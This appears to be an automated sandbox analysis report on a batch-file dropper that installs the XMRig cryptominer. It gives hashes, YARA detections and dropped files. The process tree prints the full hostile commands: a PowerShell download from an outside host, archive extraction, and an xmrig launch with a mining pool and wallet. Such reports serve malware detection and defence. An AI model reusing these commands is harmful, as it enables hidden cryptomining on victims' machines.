xmrig | 3113000f470106b98b5a3208266c79213a33567ca7841dd1cfe8ab84847c4eb8

Analysis

max time kernel
1s
max time network
120s
platform
windows10-2004_x64
resource
win10v2004-20231020-en
resource tags

arch:x64arch:x86image:win10v2004-20231020-enlocale:en-usos:windows10-2004-x64system
submitted
13/11/2023, 03:34

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target

tesy - Copy (8).bat
Size

706B
MD5

035f17438f6146d5ac7285b4adfeb370
SHA1

ef83c877367e96073e2b9b841d9c03ece6b1df7e
SHA256

02261a07ff83d906a835ac5229b25595239717e0091f2462804d0a31859bbdc0
SHA512

49455c7edd51537ba92e2db0941f571cd6ad89252702a19cf5910b390b182c16fc970ca62c26582b293ac5fc096e84538c5634472ab6e31bbd29242e8bb816cf

Score

10^/10

xmrig miner

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip

Signatures

XMRig Miner payload 4 IoCs

miner

resource	yara_rule
behavioral24/files/0x0008000000022dcc-46.dat	family_xmrig
behavioral24/files/0x0008000000022dcc-46.dat	xmrig
behavioral24/memory/1460-52-0x00007FF6D4950000-0x00007FF6D5453000-memory.dmp	xmrig
behavioral24/memory/1460-61-0x00007FF6D4950000-0x00007FF6D5453000-memory.dmp	xmrig

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1840	powershell.exe
1840	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1840	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 3412 wrote to memory of 1840	3412	cmd.exe	20
PID 3412 wrote to memory of 1840	3412	cmd.exe	20

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (8).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3412
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip', 'test1.zip')"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1840
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'test1.zip' -DestinationPath '.'"
  2⤵
  PID:5028
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K start.cmd
  2⤵
  PID:4060
- - C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe
    xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
    3⤵
    PID:1460

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
2f57fde6b33e89a63cf0dfdd6e60a351

SHA1
445bf1b07223a04f8a159581a3d37d630273010f

SHA256
3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

SHA512
42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
c20ac38ae3022e305b8752804aadf486

SHA1
4c144d6cfafb5c37ab4810ff3c1744df81493cdb

SHA256
03cba7e903a418a3966af1dc0debfb5fcfb2ac6d372ec48cb1b93c23e0fd1caf

SHA512
c9def9e5cd09d19b8b47a3f4c61893da715a6ba4b9933c885386d0425ee4ccc30d75eac1097511619d4e6259a46581f803fb38f78a15339391e4e78b0b6153e0

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bfuiot2h.cso.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\test1.zip

Filesize
3.2MB

MD5
95452958f42b1b93f0c887f59d84d19f

SHA1
c861dc457d57471ab42879f49cc8fe171e7c9b1c

SHA256
dc24f4d37898468e34bee09afdcb7e1fc681ecbac667bc8eb3c62d035c0fd255

SHA512
96207cb7d6cb2977acfbc5e9f507fe0b1b43a5041e5ea50c63f4f7db620fa14512066781c306ba123b0e6aafbb048c4b042f5fdb21e97a48a536acd783b2e072

Download Submit
C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\start.cmd

Filesize
278B

MD5
080123b6eac4a332d3f2b11f6eb3aa54

SHA1
8f3d40eae881e3b871cff2aa85521d727ada2a64

SHA256
cd7f2c4251361d8e83bc1857767c6eb20d305605ca78418aca3af439ff7d41e2

SHA512
0c5033e8a72a924d360bec1b1304889b23dea6a514cd18b055824c19d440a2875472ba70202efb4b7b636398ebd114b365ce88ca18b88a129588639c26d62d8c

Download Submit
C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe

Filesize
7.4MB

MD5
9fd44667a0f76b38bc8fff3edb578d28

SHA1
06380f00ef93b94ccb9ffd74ef9873bf0c0b7160

SHA256
eefa6b4d1b03d8b799318819562561215edf8bff0d3806bd182d62cd73fdc590

SHA512
7d23aeaad3f67f2e83f659d1480611ee5eb60925ba92e28967d64afc9431338ddbf04f7f5e9dcdeab9e1214a63c6c9a54dcbc3efc99eb1b6d0a922d723775b88

Download Submit
memory/1460-56-0x000001FAF8E80000-0x000001FAF8EA0000-memory.dmp

Filesize
128KB

Download
memory/1460-59-0x00007FF6D4950000-0x00007FF6D5453000-memory.dmp

Filesize
11.0MB

Download
memory/1460-66-0x00007FF6D4950000-0x00007FF6D5453000-memory.dmp

Filesize
11.0MB

Download
memory/1460-65-0x00007FF6D4950000-0x00007FF6D5453000-memory.dmp

Filesize
11.0MB

Download
memory/1460-64-0x00007FF6D4950000-0x00007FF6D5453000-memory.dmp

Filesize
11.0MB

Download
memory/1460-63-0x00007FF6D4950000-0x00007FF6D5453000-memory.dmp

Filesize
11.0MB

Download
memory/1460-62-0x00007FF6D4950000-0x00007FF6D5453000-memory.dmp

Filesize
11.0MB

Download
memory/1460-61-0x00007FF6D4950000-0x00007FF6D5453000-memory.dmp

Filesize
11.0MB

Download
memory/1460-60-0x00007FF6D4950000-0x00007FF6D5453000-memory.dmp

Filesize
11.0MB

Download
memory/1460-58-0x00007FF6D4950000-0x00007FF6D5453000-memory.dmp

Filesize
11.0MB

Download
memory/1460-57-0x00007FF6D4950000-0x00007FF6D5453000-memory.dmp

Filesize
11.0MB

Download
memory/1460-55-0x00007FF6D4950000-0x00007FF6D5453000-memory.dmp

Filesize
11.0MB

Download
memory/1460-47-0x000001FAF8CC0000-0x000001FAF8CE0000-memory.dmp

Filesize
128KB

Download
memory/1460-54-0x000001FAF8E50000-0x000001FAF8E70000-memory.dmp

Filesize
128KB

Download
memory/1460-48-0x000001FAF8E10000-0x000001FAF8E50000-memory.dmp

Filesize
256KB

Download
memory/1460-49-0x00007FF6D4950000-0x00007FF6D5453000-memory.dmp

Filesize
11.0MB

Download
memory/1460-51-0x000001FAF8E80000-0x000001FAF8EA0000-memory.dmp

Filesize
128KB

Download
memory/1460-50-0x000001FAF8E50000-0x000001FAF8E70000-memory.dmp

Filesize
128KB

Download
memory/1460-52-0x00007FF6D4950000-0x00007FF6D5453000-memory.dmp

Filesize
11.0MB

Download
memory/1460-53-0x00007FF6D4950000-0x00007FF6D5453000-memory.dmp

Filesize
11.0MB

Download
memory/1840-10-0x00007FFA8A5C0000-0x00007FFA8B081000-memory.dmp

Filesize
10.8MB

Download
memory/1840-5-0x000001EBB9950000-0x000001EBB9972000-memory.dmp

Filesize
136KB

Download
memory/1840-13-0x000001EB9F6E0000-0x000001EB9F6F0000-memory.dmp

Filesize
64KB

Download
memory/1840-11-0x000001EB9F6E0000-0x000001EB9F6F0000-memory.dmp

Filesize
64KB

Download
memory/1840-12-0x000001EB9F6E0000-0x000001EB9F6F0000-memory.dmp

Filesize
64KB

Download
memory/1840-17-0x00007FFA8A5C0000-0x00007FFA8B081000-memory.dmp

Filesize
10.8MB

Download
memory/5028-34-0x0000021B6A650000-0x0000021B6A65A000-memory.dmp

Filesize
40KB

Download
memory/5028-33-0x0000021B6A670000-0x0000021B6A682000-memory.dmp

Filesize
72KB

Download
memory/5028-43-0x00007FFA8A5C0000-0x00007FFA8B081000-memory.dmp

Filesize
10.8MB

Download
memory/5028-30-0x0000021B6A6B0000-0x0000021B6A6C0000-memory.dmp

Filesize
64KB

Download
memory/5028-31-0x0000021B6A6B0000-0x0000021B6A6C0000-memory.dmp

Filesize
64KB

Download
memory/5028-32-0x0000021B6A6B0000-0x0000021B6A6C0000-memory.dmp

Filesize
64KB

Download
memory/5028-29-0x00007FFA8A5C0000-0x00007FFA8B081000-memory.dmp

Filesize
10.8MB

Download